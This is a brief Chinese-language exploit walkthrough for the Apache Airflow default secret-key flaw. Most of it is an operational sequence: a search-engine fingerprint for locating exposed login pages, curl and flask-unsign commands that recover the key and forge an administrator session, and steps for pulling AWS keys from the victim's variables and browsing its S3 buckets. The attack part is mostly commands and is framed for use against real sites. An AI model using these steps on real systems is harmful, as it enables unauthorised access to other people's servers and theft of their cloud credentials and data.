0x01 漏洞描述
Apache 官方在2020年12月21日发布的邮件中披露Apache Airflow 存在一个由于错误处理会话验证导致的未授权访问漏洞。如果用户使用了默认的秘钥配置,攻击者就可以在其他的一个配置了默认秘钥的站点进行登录,接着以登录后的session信息直接未授权访问受害者站点。
引用:https://mp.weixin.qq.com/s/EN4bsZl1ylpAtpIlISK3nQ
0x02 漏洞利用
1. FOFA指纹:
title=="Airflow - Login"
2. 获取session
curl -i -s -k -X $'GET' $'http://xxxxxx/admin/airflow/login' | grep Set-Cookie

3.安装flask-unsign
pip3 install flask-unsign[wordlist]
pip3 install flask-unsign
4. 寻找secret_key
flask-unsign -u -c "cookie"

5. 伪造管理员session
flask-unsign -s --secret "temporary_key" -c "{'_fresh': True, '_id': '<id>', 'csrf_token': '<csrf>', 'user_id': '1'}"

6. 后台登陆
设置session

翻看变量,可以拿到AWS__KEY和AWS__SECRET

aws key利用可以参考:https://articles.zsxq.com/id_e1ojtvdxk1tv.html
7. aws s3 bucket利用
下载s3浏览器
https://s3browser.com/download/s3browser-9-5-5.exe
添加KeyID和Secret


0x03 参考
1. https://ian.sh/airflow
2. https://pypi.org/project/flask-unsign/
3. https://www.openwall.com/lists/oss-security/2020/12/21/1
本文迁移自知识星球“火线Zone”